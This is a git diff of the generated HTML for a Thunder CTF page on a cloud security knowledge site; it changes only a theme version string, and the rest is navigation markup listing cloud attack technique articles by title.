62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </a> <a href=https://hackingthe.cloud/feed_rss_created.xml target=_blank rel=noopener title=hackingthe.cloud class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M0 64c0-17.7 14.3-32 32-32 229.8 0 416 186.2 416 416 0 17.7-14.3 32-32 32s-32-14.3-32-32C384 253.6 226.4 96 32 96 14.3 96 0 81.7 0 64m0 352a64 64 0 1 1 128 0 64 64 0 1 1-128 0m32-256c159.1 0 288 128.9 288 288 0 17.7-14.3 32-32 32s-32-14.3-32-32c0-123.7-100.3-224-224-224-17.7 0-32-14.3-32-32s14.3-32 32-32"/></svg> </a> </div> </div> </div> </footer> </div> <div class=md-dialog data-md-component=dialog> <div class="md-dialog__inner md-typeset"></div> </div> <script id=__config type=application/json>{"base": "../../..", "features": ["navigation.tabs", "navigation.indexes", "content.action.edit"], "search": "../../../assets/javascripts/workers/search.c7c1ca2c.min.js", "translations": {"clipboard.copied": "Copied to clipboard", "clipboard.copy": "Copy to clipboard", "search.result.more.one": "1 more on this page", "search.result.more.other": "# more on this page", "search.result.none": "No matching documents", "search.result.one": "1 matching document", "search.result.other": "# matching documents", "search.result.placeholder": "Type to start searching", "search.result.term.missing": "Missing", "select.version": "Select version"}}</script> <script src=../../../assets/javascripts/bundle.203fd0bc.min.js></script> <script src=../../../javascripts/matomo.min.js></script> <script id="init-glightbox">const lightbox = GLightbox({"touchNavigation": true, "loop": false, "zoomable": true, "draggable": true, "openEffect": "zoom", "closeEffect": "zoom", "slideEffect": "slide"});
 document$.subscribe(() => { lightbox.reload() });
 </script></body> </html>
\ No newline at end of file
diff --git a/gcp/capture_the_flag/thunder_ctf/index.html b/gcp/capture_the_flag/thunder_ctf/index.html
index 356444b22..d8339b1f1 100644
--- a/gcp/capture_the_flag/thunder_ctf/index.html
+++ b/gcp/capture_the_flag/thunder_ctf/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="GCP themed CTF"><link href=https://hackingthe.cloud/gcp/capture_the_flag/thunder_ctf/ rel=canonical><link href=../gcp-goat/ rel=prev><link href=../../../terraform/terraform_ansi_escape_evasion/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.46+insiders-4.53.14"><title>Thunder CTF - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Thunder CTF - Hacking The Cloud"><meta property=og:description content="GCP themed CTF"><meta property=og:image content=https://hackingthe.cloud/assets/images/social/gcp/capture_the_flag/thunder_ctf.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/gcp/capture_the_flag/thunder_ctf/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="Thunder CTF - Hacking The Cloud"><meta property=twitter:description content="GCP themed CTF"><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/gcp/capture_the_flag/thunder_ctf.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
+<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="GCP themed CTF"><link href=https://hackingthe.cloud/gcp/capture_the_flag/thunder_ctf/ rel=canonical><link href=../gcp-goat/ rel=prev><link href=../../../terraform/terraform_ansi_escape_evasion/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.47+insiders-4.53.14"><title>Thunder CTF - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Thunder CTF - Hacking The Cloud"><meta property=og:description content="GCP themed CTF"><meta property=og:image content=https://hackingthe.cloud/assets/images/social/gcp/capture_the_flag/thunder_ctf.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/gcp/capture_the_flag/thunder_ctf/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="Thunder CTF - Hacking The Cloud"><meta property=twitter:description content="GCP themed CTF"><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/gcp/capture_the_flag/thunder_ctf.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
     html.glightbox-open { overflow: initial; height: 100%; }
     .gslide-title { margin-top: 0px; user-select: text; }
     .gslide-desc { color: #666; user-select: text; }
@@ -7,6 +7,6 @@
     .gdesc-inner { font-size: 0.75rem; }
     body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);}
     body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);}
-    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#links class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Thunder CTF </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class=md-tabs__item> <a href=../../../aws/general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../../general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex=0> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../../../aws/exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li 